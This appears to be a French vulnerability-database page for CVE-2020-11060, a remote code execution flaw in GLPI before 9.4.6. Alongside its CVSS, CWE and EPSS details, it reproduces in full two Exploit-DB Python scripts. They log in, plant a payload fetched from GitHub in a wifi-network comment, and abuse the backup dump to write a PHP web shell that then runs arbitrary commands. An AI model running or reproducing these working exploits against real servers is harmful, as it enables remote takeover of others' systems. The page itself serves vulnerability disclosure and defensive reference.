CVE-2020-11060 : Détail

CVE-2020-11060

8.8
/
Haute
Cross-Site Request Forgery - CSRF
A03-InjectionA01-Broken Access Control
15.52%V4
Network
2020-05-12
17h30 +00:00
2021-06-14
15h06 +00:00
CVE.org
NVD
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Descriptions du CVE

Remote Code Execution in GLPI

In GLPI before 9.4.6, an attacker can execute system commands by abusing the backup functionality. Theoretically, this vulnerability can be exploited by an attacker without a valid account by using a CSRF. Due to the difficulty of the exploitation, the attack is only conceivable by an account having Maintenance privileges and the right to add WIFI networks. This is fixed in version 9.4.6.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.4 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 49992

Date de publication : 2021-06-13 22h00 +00:00
Auteur : Brian Peters
EDB Vérifié : No

# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE) # Exploit Author: Brian Peters # Vendor Homepage: https://glpi-project.org # Software Link: https://github.com/glpi-project/glpi/releases # Version: < 9.4.6 # CVE: CVE-2020-11060 # Download a SQL dump and find the table offset for "wifinetworks" with # cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks # Update the offsettable value with this number in the create_dump function # The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based # on the Set-Cookie hash. #!/usr/bin/python import argparse import json import random import re import requests import string import sys import time from datetime import datetime from lxml import html class GlpiBrowser: def __init__(self, url, user, password, platform): self.url = url self.user = user self.password = password self.platform = platform self.session = requests.Session() self.session.verify = False requests.packages.urllib3.disable_warnings() def extract_csrf(self, html): return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0] def get_login_data(self): r = self.session.get('{0}'.format(self.url), allow_redirects=True) csrf_token = self.extract_csrf(r.text) name_field = re.findall('name="(.*)" id="login_name"', r.text)[0] pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0] return name_field, pass_field, csrf_token def login(self): try: name_field, pass_field, csrf_token = self.get_login_data() except Exception as e: print "[-] Login error: could not retrieve form data" sys.exit(1) data = { name_field: self.user, pass_field: self.password, "auth": "local", "submit": "Post", "_glpi_csrf_token": csrf_token } r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False) return r.status_code == 302 def wipe_networks(self, padding, datemod): r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt') comment = r.content r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url)) try: csrf_token = self.extract_csrf(r.text) except Exception as e: print "[-] Edit network error: could not retrieve form data" sys.exit(1) webpage = html.fromstring(r.content) links = webpage.xpath('//a/@href') for rawlink in links: if "wifinetwork.form.php?id=" in rawlink: rawlinkparts = rawlink.split("=") networkid = rawlinkparts[-1] print "Deleting network "+networkid data = { "entities_id": "0", "is_recursive": "0", "name": "PoC", "comment": comment, "essid": "RCE"+padding, "mode": "ad-hoc", "purge": "Delete permanently", "id": networkid, "_glpi_csrf_token": csrf_token, '_read_date_mod': datemod } r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data) def create_network(self, datemod): r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt') comment = r.content r = self.session.get('{0}/front/wifinetwork.php'.format(self.url)) try: csrf_token = self.extract_csrf(r.text) except Exception as e: print "[-] Create network error: could not retrieve form data" sys.exit(1) data = { "entities_id": "0", "is_recursive": "0", "name": "PoC", "comment": comment, "essid": "RCE", "mode": "ad-hoc", "add": "ADD", "_glpi_csrf_token": csrf_token, '_read_date_mod': datemod } r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data) print "[+] Network created" print " Name: PoC" print " ESSID: RCE" def edit_network(self, padding, datemod): r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt') comment = r.content #create the padding for the name and essid r = self.session.get('{0}/front/wifinetwork.php'.format(self.url)) webpage = html.fromstring(r.content) links = webpage.xpath('//a/@href') for rawlink in links: if "wifinetwork.form.php?id=" in rawlink: rawlinkparts = rawlink.split('/') link = rawlinkparts[-1] #edit the network name and essid r = self.session.get('{0}/front/{1}'.format(self.url, link)) try: csrf_token = self.extract_csrf(r.text) except Exception as e: print "[-] Edit network error: could not retrieve form data" sys.exit(1) rawlinkparts = rawlink.split("=") networkid = rawlinkparts[-1] data = { "entities_id": "0", "is_recursive": "0", "name": "PoC", "comment": comment, "essid": "RCE"+padding, "mode": "ad-hoc", "update": "Save", "id": networkid, "_glpi_csrf_token": csrf_token, "_read_date_mod": datemod } r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data) print "[+] Network mofified" print " New ESSID: RCE"+padding def create_dump(self, shellname): path='' if self.platform == "Win": path="C:\\xampp\\htdocs\\pics\\" elif self.platform == "Nix": path="/var/www/html/glpi/pics/" #adjust offset number to match the table number for wifi_networks #this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks" r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname)) print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname) def shell_check(self, shellname): r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname)) print " Shell size: "+str(len(r.content)) if "asdfasdfasdf" in r.content: print "[+] RCE FOUND!" sys.exit(1) return len(r.content) def pwn(self): if not self.login(): print "[-] Login error" return else: print "[+] Logged in" #create timestamp now = datetime.now() datemod = now.strftime("%Y-%m-%d %H:%M:%S") #create comment payload tick=1 while True: #create random shell name letters = string.ascii_letters shellname = ''.join(random.choice(letters) for i in range(8))+".php" #create padding for ESSID padding = '' for i in range(1,int(tick)+1): padding+=str(i) self.wipe_networks(padding, datemod) self.create_network(datemod) self.edit_network(padding, datemod) self.create_dump(shellname) self.shell_check(shellname) print "\n" raw_input("Press any key to continue with the next iteration...") tick+=1 return if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--url", help="Target URL", required=True) parser.add_argument("--user", help="Username", required=True) parser.add_argument("--password", help="Password", required=True) parser.add_argument("--platform", help="Win/Nix", required=True) args = parser.parse_args() g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform) g.pwn()
Exploit Database EDB-ID : 51726

Date de publication : 2023-10-08 22h00 +00:00
Auteur : Brian Peters
EDB Vérifié : No

#!/usr/bin/env python3 #Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE #Date: 08-30-2021 #Exploit Authors: Brian Peters & n3rada #Vendor Homepage: https://glpi-project.org/ #Software Link: https://github.com/glpi-project/glpi/releases #Version: 0.8.5-9.4.5 #Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019 #CVE: 2020-11060 # Built-in imports import argparse import random import re import string from datetime import datetime # Third party library imports import requests from lxml import html # https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt PAYLOAD = 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requests.packages.urllib3.disable_warnings() class GlpiBrowser: """_summary_""" def __init__(self, url: str, user: str, password: str, platform: str): """ Initialize the GlpiBrowser with required attributes. Args: url (str): The URL of the target GLPI instance. user (str): The username for authentication. password (str): The password for authentication. platform (str): The platform of the target (either 'windows' or 'unix'). """ self.__url = url self.__user = user self.__password = password self.accessible_directory = "pics" if "win" in platform.lower(): self.__platform = "windows" else: self.__platform = "unix" self.__session = requests.Session() self.__session.verify = False self.__shell_name = None print(f"[+] {self!s}") # Dunders def __repr__(self) -> str: """Return a machine-readable representation of the browser instance.""" return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>" def __str__(self) -> str: """Return a human-readable representation of the browser instance.""" return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}." # Public methods def is_alive(self) -> bool: """ Check if the target GLPI instance is alive and responding. Returns: bool: True if the GLPI instance is up and responding, otherwise False. """ try: self.__session.get(url=self.__url, timeout=3) except Exception as error: print(f"[-] Impossible to reach the target.") print(f"[x] Root cause: {error}") return False else: print(f"[+] Target is up and responding.") return True def login(self) -> bool: """ Attempt to login to the GLPI instance with provided credentials. Returns: bool: True if login is successful, otherwise False. """ html_text = self.__session.get(url=self.__url, allow_redirects=True).text csrf_token = self.__extract_csrf(html=html_text) name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1) pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1) login_request = self.__session.post( url=f"{self.__url}/front/login.php", data={ name_field: self.__user, pass_field: self.__password, "auth": "local", "submit": "Post", "_glpi_csrf_token": csrf_token, }, allow_redirects=False, ) return login_request.status_code == 302 def create_network(self, datemod: str) -> None: """ Create a new network with the specified attributes. Args: datemod (str): The timestamp indicating when the network was modified. """ creation_request = self.__session.post( f"{self.__url}/front/wifinetwork.form.php", data={ "entities_id": "0", "is_recursive": "0", "name": "PoC", "comment": PAYLOAD, "essid": "RCE", "mode": "ad-hoc", "add": "ADD", "_glpi_csrf_token": self.__extract_csrf( self.__session.get(f"{self.__url}/front/wifinetwork.php").text ), "_read_date_mod": datemod, }, ) if creation_request.status_code == 302: print("[+] Network created") def wipe_networks(self, padding, datemod): """ Wipe all networks. Args: padding (str): Padding string for ESSID. datemod (str): The timestamp indicating when the network was modified. """ print("[*] Wiping networks...") all_networks_request = self.__session.get( f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9" ) webpage = html.fromstring(all_networks_request.content) for rawlink in set( link for link in webpage.xpath("//a/@href") if "wifinetwork.form.php?id=" in link ): network_id = rawlink.split("=")[-1] print(f"\tDeleting network id: {network_id}") self.__session.post( f"{self.__url}/front/wifinetwork.form.php", data={ "entities_id": "0", "is_recursive": "0", "name": "PoC", "comment": PAYLOAD, "essid": "RCE" + padding, "mode": "ad-hoc", "purge": "Delete permanently", "id": network_id, "_glpi_csrf_token": self.__extract_csrf(all_networks_request.text), "_read_date_mod": datemod, }, ) def edit_network(self, padding: str, datemod: str) -> None: """_summary_ options: padding (str): _description_ datemod (str): _description_ """ print("[+] Modifying network") for rawlink in set( link for link in html.fromstring( self.__session.get(f"{self.__url}/front/wifinetwork.php").content ).xpath("//a/@href") if "wifinetwork.form.php?id=" in link ): # edit the network name and essid self.__session.post( f"{self.__url}/front/wifinetwork.form.php", data={ "entities_id": "0", "is_recursive": "0", "name": "PoC", "comment": PAYLOAD, "essid": f"RCE{padding}", "mode": "ad-hoc", "update": "Save", "id": rawlink.split("=")[-1], "_glpi_csrf_token": self.__extract_csrf( self.__session.get( f"{self.__url}/front/{rawlink.split('/')[-1]}" ).text ), "_read_date_mod": datemod, }, ) print(f"\tNew ESSID: RCE{padding}") def create_dump(self, wifi_table_offset: str = None): """ Initiates a dump request to the server. Args: wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'. Note: Adjust the offset number to match the table number for wifi_networks. This can be found by downloading a SQL dump and running: zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks """ dump_target = f"{self.path}{self.__shell_name}" print(f"[*] Dumping the database remotely at: {dump_target}") self.__session.get( f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}" ) print(f"[+] File 'dumped', accessible at: {self.shell_path}") def upload_rce(self, wifi_table_offset: str = None) -> str: """ Uploads the RCE (Remote Code Execution) shell to the target. Args: wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Returns: str: A status message indicating the outcome of the upload. """ if not self.login(): print("[-] Login error") return print(f"[+] User {self.__user!r} is logged in.") # create timestamp datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S") tick = 1 while True: print("-" * 25 + f" trial number {tick} " + "-" * 25) # create padding for ESSID padding = "e" * tick self.wipe_networks(padding, datemod) self.create_network(datemod) self.edit_network(padding, datemod) self.__shell_name = ( "".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php" ) print(f"[+] Current shellname: {self.__shell_name}") self.create_dump(wifi_table_offset) if self.__shell_check(): break tick += 1 print("-" * 66) print(f"[+] RCE found after {tick} trials!") # Private methods def __extract_csrf(self, html: str): """Extract CSRF token from the provided HTML content.""" return re.search( pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html ).group(1) def __shell_check(self) -> bool: """Check if the uploaded shell is active and responding correctly.""" r = self.__session.get( url=self.shell_path, params={"0": "echo HERE"}, ) shell_size = len(r.content) print(f"[+] Shell size: {shell_size!s}") if shell_size < 50: print("[x] Too small, there is a problem with the choosen offset.") return False return b"HERE" in r.content # Properties @property def path(self): """With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory.""" if "win" in self.__platform.lower(): return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\" else: return f"/var/www/html/glpi/{self.accessible_directory}/" @property def shell_path(self) -> str: """Generate the complete path to the uploaded shell.""" return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}" def execute( url: str, command: str, timeout: float = None, ) -> str: """ Executes a given command on a remote server through a web shell. This function assumes a web shell has been previously uploaded to the target server and sends a request to execute the provided command. It uses a unique delimiter ("HoH") to ensure that the command output can be parsed and returned without any additional data. Args: url (str): The URL where the web shell is located on the target server. command (str): The command to be executed on the target server. timeout (float, optional): Maximum time, in seconds, for the request to the server. Defaults to None, meaning no timeout. Returns: str: The output of the executed command. Returns None if the URL or command is not provided. """ if url is None or command is None: return command = f"echo HoH&&{command}&&echo HoH" response = requests.get( url=url, params={ "0": command, }, timeout=timeout, verify=False, ) # Use regex to find the content between "HoH" delimiters if match := re.search( pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL ): return match.group(1).strip() def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--url", help="Target URL.", required=True) parser.add_argument("--user", help="Username.", default=None) parser.add_argument("--password", help="Password.", default=None) parser.add_argument("--platform", help="Target OS (windows/unix).", default=None) parser.add_argument( "--offset", help="Offset for table wifi_networks.", default=None ) parser.add_argument( "--dir", help="Accessible directory on the target.", default="sound", required=False, ) # "sound" as default directory parser.add_argument("--command", help="Command to execute via RCE.", default=None) options = parser.parse_args() if options.command: # We assume the given URL is the shell path if a command is provided. try: response = execute(url=options.url, command=options.command, timeout=5) except TimeoutError: print(f"[x] Timeout received form target. Maybe your command failed.") else: print(f"[*] Response received from {options.url!r}:") print(response) finally: return target = GlpiBrowser( options.url, user=options.user, password=options.password, platform=options.platform, ) if not target.is_alive(): return target.accessible_directory = options.dir target.upload_rce(wifi_table_offset=options.offset) print( f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}" ) print("[+] Run this tool again with the desired command to inject:") print( f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'" ) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Glpi-project>>Glpi >> Version To (excluding) 9.4.6

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.